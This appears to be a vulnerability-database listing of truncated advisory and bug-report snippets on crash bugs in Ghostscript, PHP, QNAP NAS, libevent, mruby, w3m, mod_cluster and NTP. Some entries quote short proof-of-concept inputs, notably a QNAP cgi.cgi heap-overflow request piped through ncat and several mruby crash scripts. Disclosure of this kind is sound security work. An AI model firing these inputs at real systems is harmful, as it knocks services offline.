CVE-2016-9601

A heap based buffer overflow was found in the ghostscript jbig2decodegrayscaleimage function used to decode halftone segments in a JBIG2 image. A document PostScript or PDF with an embedded, specially crafted, jbig2 image could trigger a segmentation fault in ghostscript...

Internet Bug Bounty: Crash (DoS) when parsing a hostile TIFF

The issue was reported and resolved by PHP's security team: Ticket 73737: https://bugs.php.net/bug.php?id=73737 Git Commit: http://git.php.net/?p=php-src.git;a=commit;h=1cda0d7c2ffb62d8331c64e703131d9cabdc03ea The EXIF module in all PHP versions 5.6.9 and below, 7.1.0 and below is vulnerable to a...

QNAP NAS Devices - Heap Overflow Exploit

Exploit for linux platform in category dos / poc ================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" |...

QNAP NAS Devices - Heap Overflow

================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl 192.168.5.7 443 HTTP/1.1 200 OK Date:...

QNAP NAS Devices - Heap Overflow

QNAP NAS Devices - Heap Overflow ================== 1 Heap overflow ================== Path: /home/httpd/cgi-bin/cgi.cgi u = valid user guest|admin 1.1 / Remote / Remote host echo -en "GET /cgi-bin/cgi.cgi?u=admin&p=fori=0;i263;i++;do echo -en "A";done HTTP/1.0\nHost: QNAP\n\n" | ncat --ssl...

QNAP NAS Heap Overflow

Greetings, Twice I tried to use the QNAP Web page https://aid.qnap.com/event/module/nas/safereport/ for reporting vulnerability, and twice I got mailer-daemon back. So, Iall post my vulnerabilities here instead Was not meant to be 0-daya| whatever. Have a nice day and happy new year /bashis...

CVE-2016-10196

Stack-based buffer overflow in the evutilparsesockaddrport function in evutil.c in libevent before 2.1.6-beta allows attackers to cause a denial of service segmentation fault via vectors involving a long string in brackets in the ipasstring argument...

CVE-2016-9601

ghostscript before version 9.21 is vulnerable to a heap based buffer overflow that was found in the ghostscript jbig2decodegrayscaleimage function which is used to decode halftone segments in a JBIG2 image. A document PostScript or PDF with an embedded, specially crafted, jbig2 image could trigge...

shopify-scripts: SIGSEGV - kh_resize_iv - Null Deref

PoC --------------------- The following code triggers the bug attached as khresizeiv.rb: l t'',''doend s'',''do.end d t''do.end a=Array.new a.=102,0 € s a.tos a a.tos a.i Debug - mirb --------------------- gdb r khresizeiv.rb Starting program: /home/x/Desktop/research/mruby/bin/mirb khresizeiv.rb...

w3m denial of service vulnerability (CNVD-2016-13132)

w3m is an open source text-based Web browser . A security vulnerability exists in versions of w3m prior to 0.5.3-33. A remote attacker can exploit this vulnerability to cause a denial of service segmentation error and crash with the help of specially crafted HTML pages...

w3m denial of service vulnerability (CNVD-2016-13131)

w3m is an open source text-based Web browser . A security vulnerability exists in versions of w3m prior to 0.5.3-33. A remote attacker can exploit this vulnerability to cause a denial of service segmentation error and crash with the help of specially crafted HTML pages...

shopify-scripts: Null pointer dereference in mrb_str_prepend

PoC ruby String.new.prepend"" Cause This crash is caused by null dereference in https://github.com/mruby/mruby/blob/master/mrbgems/mruby-string-ext/src/string.cL474 Test $ gdb -q --args ./bin/mruby test4.rb Reading symbols from ./bin/mruby...done. gdb r Starting program:...

F5 Networks BIG-IP : PHP vulnerability (K35240323)

The xmlparseintostruct function in ext/xml/xml.c in PHP before 5.5.35, 5.6.x before 5.6.21, and 7.x before 7.0.6 allows remote attackers to cause a denial of service buffer under-read and segmentation fault or possibly have unspecified other impact via crafted XML data in the second argument,...

Debian DLA-749-1 : php5 security update (httpoxy)

CVE-2016-5385 PHP through 7.0.8 does not attempt to address RFC 3875 section 4.1.18 namespace conflicts and therefore does not protect applications from the presence of untrusted client data in the HTTPPROXY environment variable, which might allow remote attackers to redirect an application's...

shopify-scripts: Heap Overflow in mrb_arb_splice

It's similar with 192235, but the root cause is different. both of mruby and mruby-engine are crashed by the following PoC. MRBINT64 ruby ary = Array.new1023 ary0x7ffffffffffffc00,0 = Array.new1024 $ gdb -q --args ./bin/mruby test2.rb Reading symbols from ./bin/mruby...done. gdb r Starting progra...

shopify-scripts: Integer Overflow in mrb_ary_set

Hi, I found a crash in mruby. I frankly couldn't reproduce it in mruby-engine. I think it is because of memory limitation, but I'm not sure. Here is a PoC when the size of MRBINT is 32. ruby ary = Array.new0 ary0x7fffffff = 1 $ gdb -q --args ./bin/mruby ./test.rb Reading symbols from...

shopify-scripts: SIGSEGV mrb_obj_freeze() Manipulating Register RAX and RSI

There is an invalid memory read on mruby when calling to mrbobjfreeze with a invalid "Struct RBasic" which causes a SIGSEGV and leads to denial of service or remote. The following code triggers the bug attached as mrbobjfreeze.rb: o=0x30303030.freeze Crash --------------------- Here we can see th...

CVE-2016-8612

An error was found in protocol parsing logic of modcluster load balancer Apache HTTP Server modules. An attacker could use this flaw to cause a Segmentation Fault in the serving httpd process...

mod_cluster: Protocol parsing logic error

An error was found in protocol parsing logic of modcluster load balancer Apache HTTP Server modules. An attacker could use this flaw to cause a Segmentation Fault in the serving httpd process...

Scientific Linux Security Update : ntp on SL7.x x86_64 (20161103)

Security Fixes : - It was found that the fix for CVE-2014-9750 was incomplete: three issues were found in the value length checks in NTP's ntpcrypto.c, where a packet with particular autokey operations that contained malicious data was not always being completely validated. A remote attacker coul...